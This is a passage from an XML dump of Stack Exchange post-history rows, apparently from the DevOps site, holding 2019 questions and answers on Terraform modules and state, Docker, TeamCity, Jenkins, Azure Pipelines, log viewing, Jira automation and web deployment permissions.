module.load_balanccer.route53_alias&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, once the Cloudfront distribution has become idle, remove that module altogether at your leisure and apply again to clean it up.&#xD;&#xA;&#xD;&#xA;Composition is the primary way we model relationships in Terraform, so it's most natural to use composition when working with modules too, rather than building big modules with lots of conditionals to handle every permutation. Composition allows flexibility in how to make changes to the infrastructure in future so that the maintainer of the top-level module can be the one to decide what tradeoffs to make, such as making smaller changes to avoid downtime.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I used modules above because the original question was about modules, but I'd note also that after this decomposition we're left with one module per resource whose name is the resource type, which is one of the &quot;smell tests&quot; in [When to write a module?](https://www.terraform.io/docs/modules/index.html#when-to-write-a-module).&#xD;&#xA;&#xD;&#xA;If decomposing these into separate modules ends up just creating modules that are thin wrappers around single resource blocks then it's usually better to just eliminate the module altogether and just use the resource types directly.&#xD;&#xA;&#xD;&#xA;However, if one or more of the modules still raises the level of abstraction (e.g. by providing hard-coded good values for most of the resource arguments and only exposing a small subset of them for customization) then that module in particular may still be warranted.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24469" PostHistoryTypeId="2" PostId="8392" RevisionGUID="17aea8ca-6944-4d2f-bd79-184e1ca485d4" CreationDate="2019-06-14T21:17:48.010" UserId="13493" Text="The basic difference between prometheus metrics And logs is that prometheus is a timeseries db  while logs - in General sense - are event driven.&#xA;&#xA;Thus using prometheus is suitable for monitoring the whole lifecycle of your endpoints, making aggregations on results And generally evaluating the behaviour of your target before something occurs.&#xA;&#xA;Logs are more suitable if you want reportin when something particular happens, in an order of events And generally tracking down incidents after they've already happened. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24477" PostHistoryTypeId="2" PostId="8393" RevisionGUID="fbc91f76-5b6a-49e2-b6fe-33caa744c874" CreationDate="2019-06-15T07:22:19.650" UserId="4852" Text="So `cd` is sort of a function which you call in different stages? So you probably can create a function in your pipeline and call it in the begining of each stage. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24484" PostHistoryTypeId="5" PostId="8393" RevisionGUID="b8bdbed5-3786-403d-bf8c-c49375814b7e" CreationDate="2019-06-15T08:00:59.340" UserId="4852" Comment="add example" Text="So `cd` is sort of a function which you call in different stages? So you probably can create a function in your pipeline and call it in the begining of each stage. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any &#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') { &#xD;&#xA;            steps {&#xD;&#xA;                cd&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Test') { &#xD;&#xA;            steps {&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') { &#xD;&#xA;            steps {&#xD;&#xA;                // &#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def cd() {&#xD;&#xA;   //your code&#xD;&#xA;}" ContentLicense="CC BY-SA 4.0" />
  <row Id="24486" PostHistoryTypeId="50" PostId="5827" RevisionGUID="2b6a14f5-12ab-483d-8eb7-aa06be83be55" CreationDate="2019-06-15T15:02:55.347" UserId="-1" />
  <row Id="24487" PostHistoryTypeId="2" PostId="8395" RevisionGUID="2b125d3c-58f9-4269-a1dd-4783f9f45013" CreationDate="2019-06-15T15:56:58.430" UserId="15475" Text="I have a project for which I am using Teamcity to automate deployment, and I would also like to automate testing.&#xD;&#xA;&#xD;&#xA;It is an angular frontend, and we have some protractor tests.&#xD;&#xA;&#xD;&#xA;I would like to run these tests as one of the steps in our build configuration.&#xD;&#xA;&#xD;&#xA;I would like to have these tests run inside a docker container instead of the teamcity agent.&#xD;&#xA;&#xD;&#xA;I am able to run other steps using docker containers, so I have teamcity and docker working as expected.&#xD;&#xA;&#xD;&#xA;My main problem here is being able to run this within the docker container. I would like to have a container that would be able to run without having to rely on external containers, however it seems that the containers I have found and tried using rely on an external selenium instance. Either I am misunderstanding how this should run, or I would like a self contained container to run the tests and drop dead afterwards.&#xD;&#xA;&#xD;&#xA;Bear in mind that these tests can be run locally in our development workstations, with selenium and protractor running locally. I would like to achieve the same through a docker container, without that container having to rely on an external selenium server instance.&#xD;&#xA;&#xD;&#xA;I have tried the following docker containers:&#xD;&#xA;&#xD;&#xA; - https://hub.docker.com/r/caltha/protractor/&#xD;&#xA; - https://hub.docker.com/r/webnicer/protractor-headless/&#xD;&#xA;&#xD;&#xA;When I try to run the tests, they both complain selenium server could not be found.&#xD;&#xA;&#xD;&#xA;This is my protractor configuration file:&#xD;&#xA;&#xD;&#xA;    // conf.js&#xD;&#xA;    var spec_files = &quot;tests/*.specs.js&quot;;&#xD;&#xA;    exports.config = {&#xD;&#xA;      framework: 'jasmine',&#xD;&#xA;      seleniumAddress: 'http://localhost:4444/wd/hub',&#xD;&#xA;      specs: [spec_files],&#xD;&#xA;      multiCapabilities: [{&#xD;&#xA;        browserName: 'chrome'&#xD;&#xA;      }],&#xD;&#xA;      baseUrl: 'test',&#xD;&#xA;      restartBrowserBetweenTests: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The baseUrl parameter is fed into protractor with the following command:&#xD;&#xA;&#xD;&#xA;    protractor conf.js --baseUrl=&quot;http://[Replaced with Environment domain name]:8080&quot;&#xD;&#xA;&#xD;&#xA;What am I missing here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24488" PostHistoryTypeId="1" PostId="8395" RevisionGUID="2b125d3c-58f9-4269-a1dd-4783f9f45013" CreationDate="2019-06-15T15:56:58.430" UserId="15475" Text="Running Protractor tests in docker through teamcity" ContentLicense="CC BY-SA 4.0" />
  <row Id="24489" PostHistoryTypeId="3" PostId="8395" RevisionGUID="2b125d3c-58f9-4269-a1dd-4783f9f45013" CreationDate="2019-06-15T15:56:58.430" UserId="15475" Text="&lt;docker&gt;&lt;testing&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24490" PostHistoryTypeId="50" PostId="5014" RevisionGUID="8f7cc5db-8edd-454a-ab98-d4dc6f6b624c" CreationDate="2019-06-15T16:01:50.170" UserId="-1" />
  <row Id="24491" PostHistoryTypeId="2" PostId="8396" RevisionGUID="3ef16470-ec3d-4b8c-a407-c4b2047a9ccb" CreationDate="2019-06-15T18:48:46.317" UserId="15475" Text="I have been able to figure out how to get everything to work.&#xD;&#xA;&#xD;&#xA;Let's start from the beginning:&#xD;&#xA;&#xD;&#xA;**Changes to config file**&#xD;&#xA;&#xD;&#xA; 1. Remove the selenium server settings (the docker container starts one on every run, and uses that automatically)&#xD;&#xA; 2. Add 'useAllAngular2AppRoots' otherwise the tests will all fail&#xD;&#xA;&#xD;&#xA;The resulting config file will be something like this (ignore the params section, that is just an object with additional parameters you can inject into your tests):&#xD;&#xA;&#xD;&#xA;    // conf.js&#xD;&#xA;    var spec_files = &quot;tests/*.specs.js&quot;;&#xD;&#xA;    exports.config = {&#xD;&#xA;      framework: 'jasmine',&#xD;&#xA;      specs: [spec_files],&#xD;&#xA;      useAllAngular2AppRoots: true,&#xD;&#xA;      multiCapabilities: [{&#xD;&#xA;        browserName: 'chrome'&#xD;&#xA;      }],&#xD;&#xA;      restartBrowserBetweenTests: true,&#xD;&#xA;      params: {&#xD;&#xA;        sleepTime: 0&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Setting up the build step in teamcity**&#xD;&#xA;&#xD;&#xA;Usually when I want to run a build step I do it in a docker container, and execute command line steps inside that container.&#xD;&#xA;&#xD;&#xA;To get this to run I could not do this, as we need to inject a few parameters at the end of the run command, so you need to create a docker command, looking like this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/7tpa4.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24495" PostHistoryTypeId="2" PostId="8398" RevisionGUID="e7b44436-0554-4556-bfb3-59d851435cf2" CreationDate="2019-06-16T19:38:47.977" UserId="15213" Text="I have docker-compose file with one image (httpd) and one volume that look into ./ folder (It cointains only one `index.html` static file). When I start my computer I launch this image with&#xD;&#xA;&#xD;&#xA;    docker-compose up&#xD;&#xA;&#xD;&#xA;And it works, I see message&#xD;&#xA;&#xD;&#xA;    Starting mysiteloc_app_1        ... done&#xD;&#xA;&#xD;&#xA;And can access it via localhost.&#xD;&#xA;&#xD;&#xA;But when I wait several hours (seriously, I do nothing, for experiment I just wait 3 hours without touching keyboard or mouse) and try to use&#xD;&#xA;&#xD;&#xA;    docker-compose up&#xD;&#xA;&#xD;&#xA;I get message&#xD;&#xA;&#xD;&#xA;    mysiteloc_redis_1 is up-to-date&#xD;&#xA;&#xD;&#xA;But if I restart docker daemon all works nice. What the problem? Docker reference say that I changed volume or docker-compose.yml and need to rebuild, but at first I dont changed anything, in second why after reboot it works without rebuild?&#xD;&#xA;&#xD;&#xA;P.S: When I write this message I realised that use `httpd:latest` image. Problem may be related with minor httpd updates? But when why I dont need rebuild after restarting daemon?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24496" PostHistoryTypeId="1" PostId="8398" RevisionGUID="e7b44436-0554-4556-bfb3-59d851435cf2" CreationDate="2019-06-16T19:38:47.977" UserId="15213" Text="Why Docker false detecting changes in volume?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24497" PostHistoryTypeId="3" PostId="8398" RevisionGUID="e7b44436-0554-4556-bfb3-59d851435cf2" CreationDate="2019-06-16T19:38:47.977" UserId="15213" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24501" PostHistoryTypeId="50" PostId="6022" RevisionGUID="6eb79800-577c-434b-9cb1-d712f1a9bf63" CreationDate="2019-06-16T21:03:55.480" UserId="-1" />
  <row Id="24502" PostHistoryTypeId="4" PostId="8398" RevisionGUID="f5e7a649-fc08-418c-a64c-f7e3bad07577" CreationDate="2019-06-16T21:58:57.333" UserId="15213" Comment="edited title" Text="Why Docker cant launch container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24503" PostHistoryTypeId="5" PostId="8398" RevisionGUID="f5e7a649-fc08-418c-a64c-f7e3bad07577" CreationDate="2019-06-16T21:58:57.333" UserId="15213" Comment="edited title" Text="I have docker-compose file with one image (httpd) and one volume that look into ./ folder (It contains only one `index.html` static file). When I start my computer I launch this image with&#xD;&#xA;&#xD;&#xA;    docker-compose up&#xD;&#xA;&#xD;&#xA;And it works, I see message&#xD;&#xA;&#xD;&#xA;    Starting mysiteloc_app_1        ... done&#xD;&#xA;&#xD;&#xA;And can access it via localhost.&#xD;&#xA;&#xD;&#xA;But when I wait several hours (seriously, I do nothing, for experiment I just wait 3 hours without touching keyboard or mouse) and try to use&#xD;&#xA;&#xD;&#xA;    docker-compose up&#xD;&#xA;&#xD;&#xA;I get message&#xD;&#xA;&#xD;&#xA;    mysiteloc_redis_1 is up-to-date&#xD;&#xA;&#xD;&#xA;But if I restart docker daemon all works nice. What the problem? Docker reference say that if i get `up-to date` message I changed volume or docker-compose.yml and need to rebuild, but firstly I dont changed anything, secondly why after reboot it works without rebuild?&#xD;&#xA;&#xD;&#xA;P.S: When I write this message I realised that use `httpd:latest` image. Problem may be related with minor httpd updates? But then why I dont need rebuild after restarting daemon?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24504" PostHistoryTypeId="2" PostId="8400" RevisionGUID="fd2715ed-67d0-49f6-bfb7-669965f433bb" CreationDate="2019-06-16T22:15:51.947" UserId="13493" Text="After getting your site up with `docker-compose up` there is No practical reason for running `docker-compose up ` again without making any changes, because the container is running.&#xA;&#xA;So docker deamon informs you there is nothing New to do. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24505" PostHistoryTypeId="2" PostId="8401" RevisionGUID="b24e2b3b-57de-48f1-acaf-661c567e7231" CreationDate="2019-06-17T00:39:55.497" UserId="7730" Text="Docker won't recreate the container itself without something like swarm mode enabled. Since you aren't doing this, an external tool is recreating the container through the docker API. This may be something like a `docker-compose` command, someone running a `docker` command directly or via a script, or some other orchestration tool. You can check `docker events` to get an idea of what API calls were made, but you'll need to look outside of docker and figure out where these commands are coming from." ContentLicense="CC BY-SA 4.0" />
  <row Id="24506" PostHistoryTypeId="2" PostId="8402" RevisionGUID="3a7bed30-6787-4336-be3d-ad54b1524044" CreationDate="2019-06-17T02:45:12.917" UserId="15487" Text="I have a server with Ubuntu with a web server (Apache or Nginx) running a PHP application. The application consists of the following parts:&#xD;&#xA;&#xD;&#xA;- An executable code that handles HTTP requests (say in the `/var/www/demoapp/app` directory)&#xD;&#xA;- A configuration (say the `/var/www/demoapp/.env` file)&#xD;&#xA;- A file storage where the application puts its data (caches, uploads, etc; say in the `/var/www/demoapp/storage` directory). The application writes files behalf the web server user with 644 mode (let's say I can't make the application write with another mode).&#xD;&#xA;&#xD;&#xA;A deployment of the PHP application is made via SSH (the server is connected to) and consists of two stages:&#xD;&#xA;&#xD;&#xA;1. Upload the executable code to the server&#xD;&#xA;2. Run migrations. The migrations must be able to write the configuration file and the file storage. Running migrations means executing a shell command (e.g. `cd /var/www/demoapp/app &amp;&amp; ./migrate.php`).&#xD;&#xA;&#xD;&#xA;What is the proper or the most common strategy of user/group accesses and file permissions for such application and deployment process? I expect an answer like «the web server should be run behalf user1, the SSH should be accessed via user2, the `/var/www/demoapp` directory should have the xxx mode and so on».&#xD;&#xA;&#xD;&#xA;Due to security concerns, I don't want the SSH deployment user to be able to run commands behalf root. And I don't want the web application to be able to write the executable and the configuration files (except when there is a migration running). I admit these requirements may be omitted keeping a good security level." ContentLicense="CC BY-SA 4.0" />
  <row Id="24507" PostHistoryTypeId="1" PostId="8402" RevisionGUID="3a7bed30-6787-4336-be3d-ad54b1524044" CreationDate="2019-06-17T02:45:12.917" UserId="15487" Text="What is the most common server permission policy for web application deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24508" PostHistoryTypeId="3" PostId="8402" RevisionGUID="3a7bed30-6787-4336-be3d-ad54b1524044" CreationDate="2019-06-17T02:45:12.917" UserId="15487" Text="&lt;deployment&gt;&lt;linux&gt;&lt;security&gt;&lt;permissions&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24511" PostHistoryTypeId="6" PostId="8348" RevisionGUID="6905b9c7-19d8-4aa3-894f-ee637c71a232" CreationDate="2019-06-17T03:40:28.160" UserId="6775" Comment="Add some tags" Text="&lt;containers&gt;&lt;monitoring&gt;&lt;microservices&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24512" PostHistoryTypeId="24" PostId="8348" RevisionGUID="6905b9c7-19d8-4aa3-894f-ee637c71a232" CreationDate="2019-06-17T03:40:28.160" Comment="Proposed by 6775 approved by 40, 46 edit id of 1018" ContentLicense="CC BY-SA 4.0" />
  <row Id="24513" PostHistoryTypeId="2" PostId="8403" RevisionGUID="c70f4d11-dbf0-4301-9141-0cd3ee4394de" CreationDate="2019-06-17T05:22:17.217" UserId="4023" Text="This is not supported by Azure DevOps pipelines yet. Microsoft will provide it soon. Will update this post once they made it available. &#xD;&#xA;&#xD;&#xA;Pretty straight forward way to get last commit user in Bash:  &#xD;&#xA;`git log -1 --pretty=format:'%an'` &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24519" PostHistoryTypeId="50" PostId="4709" RevisionGUID="904c7b12-5901-42d4-89f5-1c1dafd228d8" CreationDate="2019-06-17T10:01:30.913" UserId="-1" />
  <row Id="24521" PostHistoryTypeId="2" PostId="8405" RevisionGUID="77a68141-eea9-4bf1-9d85-630db1e63000" CreationDate="2019-06-17T12:54:17.883" UserId="15496" Text="Just in case anyone misses it, Rajesh commented above that *if using the .NET CLI Runner* you can simply add this to the **Command line parameters** option for the build step:&#xD;&#xA;```&#xD;&#xA;/p:Version=%build.number%&#xD;&#xA;```&#xD;&#xA;..and it'll version all the binaries for you.  This worked for me and seems simpler than configuring the `File Content Replacer` as above.&#xD;&#xA;&#xD;&#xA;I've added this as it seems to be a perfectly acceptable answer, and because Rajesh's comment didn't give full details (pointed me in the right direction though)" ContentLicense="CC BY-SA 4.0" />
  <row Id="24522" PostHistoryTypeId="2" PostId="8406" RevisionGUID="627c45f8-c423-4cf4-8167-c94a9fd622df" CreationDate="2019-06-17T12:55:07.430" UserId="12890" Text="Is there a command to view logrotated logs as a continuous stream with proper ordering?&#xD;&#xA;&#xD;&#xA;I need to view all entries in syslog in historical order starting from the oldest entry available. So far I was inspecting logs one by one manually.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;-rw-r-----   1 syslog    adm             140368 Jun 12 09:41 syslog&#xD;&#xA;-rw-r-----   1 syslog    adm              45498 Jun 12 06:25 syslog.1&#xD;&#xA;-rw-r-----   1 syslog    adm               1874 Jun 11 06:25 syslog.2.gz&#xD;&#xA;-rw-r-----   1 syslog    adm               1758 Jun 10 06:25 syslog.3.gz&#xD;&#xA;-rw-r-----   1 syslog    adm               1615 Jun  9 06:25 syslog.4.gz&#xD;&#xA;-rw-r-----   1 syslog    adm              28494 Jun  8 06:25 syslog.5.gz&#xD;&#xA;-rw-r-----   1 syslog    adm              92359 Jun  7 06:53 syslog.6.gz&#xD;&#xA;-rw-r-----   1 syslog    adm              13849 Jun  6 09:21 syslog.7.gz&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24523" PostHistoryTypeId="1" PostId="8406" RevisionGUID="627c45f8-c423-4cf4-8167-c94a9fd622df" CreationDate="2019-06-17T12:55:07.430" UserId="12890" Text="View logrotated log continuously" ContentLicense="CC BY-SA 4.0" />
  <row Id="24524" PostHistoryTypeId="3" PostId="8406" RevisionGUID="627c45f8-c423-4cf4-8167-c94a9fd622df" CreationDate="2019-06-17T12:55:07.430" UserId="12890" Text="&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24526" PostHistoryTypeId="2" PostId="8408" RevisionGUID="e335bbb2-106f-4121-a7da-90f4abc21b84" CreationDate="2019-06-17T14:03:48.433" UserId="15499" Text="I have a project with 3 submodules that are updated whenever that project is built and the project is built mainly for an installer (which is not in a submodule). Not a lot of changes are made in the installer itself but the commit messages from there are coming through fine.&#xD;&#xA;&#xD;&#xA;I'd like to also see the commit messages (changes made) from the submodules to the Jenkins log. Is this possible? If not possible there, would it be possible in the email-blast instead? In the mailer plugin, I have it configured as:&#xD;&#xA;&#xD;&#xA;    ${CHANGES, showPaths=true, format=&quot;Commit: %r by %a \n %p \n\t Comment: %m \n&quot;, pathFormat=&quot;\n\t %p&quot;}&#xD;&#xA;&#xD;&#xA;Also, I kinda inherited Jenkins from an employee that no longer works where I work so I'm very new to this. Thanks in advanced!" ContentLicense="CC BY-SA 4.0" />
  <row Id="24527" PostHistoryTypeId="1" PostId="8408" RevisionGUID="e335bbb2-106f-4121-a7da-90f4abc21b84" CreationDate="2019-06-17T14:03:48.433" UserId="15499" Text="Commit messages from Submodules to Jenkins Change Log" ContentLicense="CC BY-SA 4.0" />
  <row Id="24528" PostHistoryTypeId="3" PostId="8408" RevisionGUID="e335bbb2-106f-4121-a7da-90f4abc21b84" CreationDate="2019-06-17T14:03:48.433" UserId="15499" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24531" PostHistoryTypeId="2" PostId="8409" RevisionGUID="912e7bef-2395-4f75-a918-4377092811bf" CreationDate="2019-06-17T15:56:03.120" UserId="3" Text="I've created few [`dns_cname_record` resources](https://www.terraform.io/docs/providers/dns/r/dns_cname_record.html), however [Terraform DNS provider](https://github.com/terraform-providers/terraform-provider-dns) started to throw the errors like:&#xD;&#xA;&#xD;&#xA;&gt; Error: update server is not set&#xD;&#xA;&#xD;&#xA;I've created the [bug report](https://github.com/terraform-providers/terraform-provider-dns/issues/83) for it, as it prevents me from running any Terraform command. The error is basically shown on every Terraform command, including `plan`.&#xD;&#xA;&#xD;&#xA;Now I want to clean up and get rid of this DNS module completely, and all references to it. So I've removed all my `dns_cname_record` resources from all `.tf` files. However there are some still resources stored in a state file which I want to get rid of.&#xD;&#xA;&#xD;&#xA;    $  terraform show | grep -w dns_cname_record&#xD;&#xA;    # dns_cname_record.foo-example: &#xD;&#xA;    resource &quot;dns_cname_record&quot; &quot;foo-example&quot; {&#xD;&#xA;    # dns_cname_record.bar-example: &#xD;&#xA;    resource &quot;dns_cname_record&quot; &quot;bar-example&quot; {&#xD;&#xA;&#xD;&#xA;So I've tried to destroy it with force without refreshing state, but it failed as well:&#xD;&#xA;&#xD;&#xA;    $ TF_LOG=trace terraform destroy -target=dns_cname_record.foo-example -force -refresh=false&#xD;&#xA;    ...&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalIf&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalApplyProvisioners&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalIf&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalIf&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalApply&#xD;&#xA;    [DEBUG] dns_cname_record.foo-example: applying the planned Delete change&#xD;&#xA;    [TRACE] GRPCProvider: ApplyResourceChange&#xD;&#xA;    [DEBUG] dns_cname_record.foo-example: apply errored, but we're indicating that via the Error pointer rather than returning it: update server is not set&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalWriteState&#xD;&#xA;    [TRACE] EvalWriteState: writing current state object for dns_cname_record.foo-example&#xD;&#xA;    [TRACE] &lt;root&gt;: eval: *terraform.EvalApplyPost&#xD;&#xA;    [ERROR] &lt;root&gt;: eval: *terraform.EvalApplyPost, err: update server is not set&#xD;&#xA;    [ERROR] &lt;root&gt;: eval: *terraform.EvalSequence, err: update server is not set&#xD;&#xA;    [ERROR] &lt;root&gt;: eval: *terraform.EvalOpFilter, err: update server is not set&#xD;&#xA;    [TRACE] [walkDestroy] Exiting eval tree: dns_cname_record.foo-example (destroy)&#xD;&#xA;    [TRACE] vertex &quot;dns_cname_record.foo-example (destroy)&quot;: visit complete&#xD;&#xA;    [TRACE] dag/walk: upstream of &quot;dns_cname_record.foo-example (clean up state)&quot; errored, so skipping&#xD;&#xA;    [TRACE] dag/walk: upstream of &quot;provider.dns (close)&quot; errored, so skipping&#xD;&#xA;    [TRACE] dag/walk: upstream of &quot;meta.count-boundary (EachMode fixup)&quot; errored, so skipping&#xD;&#xA;    [TRACE] dag/walk: upstream of &quot;root&quot; errored, so skipping&#xD;&#xA;    &#xD;&#xA;    Error: update server is not set&#xD;&#xA;    &#xD;&#xA;    Releasing state lock. This may take a few moments...&#xD;&#xA;    [DEBUG] plugin: plugin process exited: path=~/.terraform/plugins/darwin_amd64/terraform-provider-dns_v2.1.1_x4 pid=76229&#xD;&#xA;    [DEBUG] plugin: plugin exited&#xD;&#xA;&#xD;&#xA;and at the end, it doesn't remove invalid entry, because of [the error](https://github.com/terraform-providers/terraform-provider-dns/search?q=%22update+server+is+not+set%22&amp;unscoped_q=%22update+server+is+not+set%22).&#xD;&#xA;&#xD;&#xA;I've also tried to remove `terraform-provider-dns_v2.1.1_x4` binary module file, but `teraform plan` complains about it, and `terraform init` downloads it again, and the problem repeats.&#xD;&#xA;&#xD;&#xA;Is there any higher power command than `destroy -force -refresh=false` to get rid of the invalid entries from the state file which breaking local setup? Or I need to edit the state file manually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24532" PostHistoryTypeId="1" PostId="8409" RevisionGUID="912e7bef-2395-4f75-a918-4377092811bf" CreationDate="2019-06-17T15:56:03.120" UserId="3" Text="How to forcibly remove the resource created by the broken module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24533" PostHistoryTypeId="3" PostId="8409" RevisionGUID="912e7bef-2395-4f75-a918-4377092811bf" CreationDate="2019-06-17T15:56:03.120" UserId="3" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24534" PostHistoryTypeId="2" PostId="8410" RevisionGUID="a3c94610-effb-4ea2-8384-619eaefc3a08" CreationDate="2019-06-17T18:24:47.717" UserId="8687" Text="We are keeping track of our software development and engineering components in Jira by having Epics to contain all of the Jiras required for a deliverable.&#xD;&#xA;&#xD;&#xA;We would like to have our Epics transition automatically, based on some simple rules applied to the transitions of the underlying Jiras.&#xD;&#xA;&#xD;&#xA;For example, the first underlying Jira that moves to &quot;in-progress&quot;, should automatically transition the parent Epic to &quot;in-progress&quot;; and the last Jira that moves to &quot;done&quot; should automatically transition the Epic to &quot;done&quot;. &#xD;&#xA;&#xD;&#xA;Is there any way to set up triggers to automatically transition Epics based on the transitions of underlying Jiras?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24535" PostHistoryTypeId="1" PostId="8410" RevisionGUID="a3c94610-effb-4ea2-8384-619eaefc3a08" CreationDate="2019-06-17T18:24:47.717" UserId="8687" Text="How can we automatically transition Epic Jiras based on the transitions of underlying Jiras?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24536" PostHistoryTypeId="3" PostId="8410" RevisionGUID="a3c94610-effb-4ea2-8384-619eaefc3a08" CreationDate="2019-06-17T18:24:47.717" UserId="8687" Text="&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24537" PostHistoryTypeId="2" PostId="8411" RevisionGUID="03c84810-9fb1-4ed2-a417-2eaffc1d1a60" CreationDate="2019-06-17T19:09:45.383" UserId="15448" Text="If all the files are there without any extension then yes you can execute the cat command with * (cat *) it will display the content of each and every files underneath this directory, but here in your output it has the zip files (*.gz) too, so you need to execute 2 commands rather than single command...&#xD;&#xA;&#xD;&#xA;1. cat syslog syslog.1&#xD;&#xA;2. zcat *.gz&#xD;&#xA;&#xD;&#xA;Hope this will helps.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24538" PostHistoryTypeId="2" PostId="8412" RevisionGUID="14ba0be2-9f24-471b-a754-0559ed9358c0" CreationDate="2019-06-18T02:11:06.147" UserId="15505" Text="Yes this can be done, [Azure Pipelines][1] can ingest a yaml file, configuring the pipeline as code. These yaml files should be source controlled and the pipeline can be set up to build in an automated way.&#xD;&#xA;&#xD;&#xA;You can also [reuse][2] steps within the pipeline&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.azuredevopslabs.com/labs/azuredevops/yaml/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="24539" PostHistoryTypeId="2" PostId="8413" RevisionGUID="7f2b6b6c-35f9-4d9c-97ac-3f7774cb4da1" CreationDate="2019-06-18T03:34:08.823" UserId="15505" Text="Azure pipelines can be set up to automatically run a CI build from GitHub or a private Git repository sitting within Azure DevOps. Your build or release pipeline in Azure DevOps has Jenkins tasks so you can pass the build job to Jenkins to complete if desired.&#xD;&#xA;&#xD;&#xA;&gt; Also is there a plugin in Jenkins for Azure repos.&#xD;&#xA;&#xD;&#xA;Yes - [This link will help you][1]&#xD;&#xA;&#xD;&#xA;Alternatively if Jenkins is the source of your build and you want to pass this to Azure Pipelines then [this will help][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/jenkins?view=azure-devops&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/integrate-jenkins-pipelines-cicd?view=azure-devops&amp;tabs=yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="24540" PostHistoryTypeId="5" PostId="8168" RevisionGUID="bcf5e3ff-87bf-45d0-97a0-dcef6d544408" CreationDate="2019-06-18T03:46:56.133" UserId="4325" Comment="minor grammatical correction and modification for clarity" Text="Every few hours, my Laravel website on AWS Elastic Beanstalk crashes and throws the following error:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:13.436195 2019] [php7:error] [pid 3431] [client]&#xD;&#xA;       PHP Fatal error:  require(): Failed opening required &#xD;&#xA;       '/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php'&#xD;&#xA;       (include_path='.:/usr/share/pear7:/usr/share/php') in &#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:31.485081 2019] [php7:warn] [pid 3459] [client] PHP&#xD;&#xA;       Warning: &#xD;&#xA;       require(/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php):&#xD;&#xA;       failed to open stream: No such file or directory in&#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;In-order to fix the error, I either go to `/var/www/html` or `/var/app/current` and use `composer.phar install` to fix the packages installed.&#xD;&#xA;&#xD;&#xA;Unfortunately, this doesn't cut it. Once I fix the issue, it breaks again a few hours later with the same errors. I tried to fix the packages associated with the deployed zip file. But that's to no avail either.&#xD;&#xA;&#xD;&#xA;Is there something I'm misunderstanding about the AWS architecture? I'm a newbie to AWS, can anyone help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24541" PostHistoryTypeId="24" PostId="8168" RevisionGUID="bcf5e3ff-87bf-45d0-97a0-dcef6d544408" CreationDate="2019-06-18T03:46:56.133" Comment="Proposed by 4325 approved by -1 edit id of 1020" ContentLicense="CC BY-SA 4.0" />
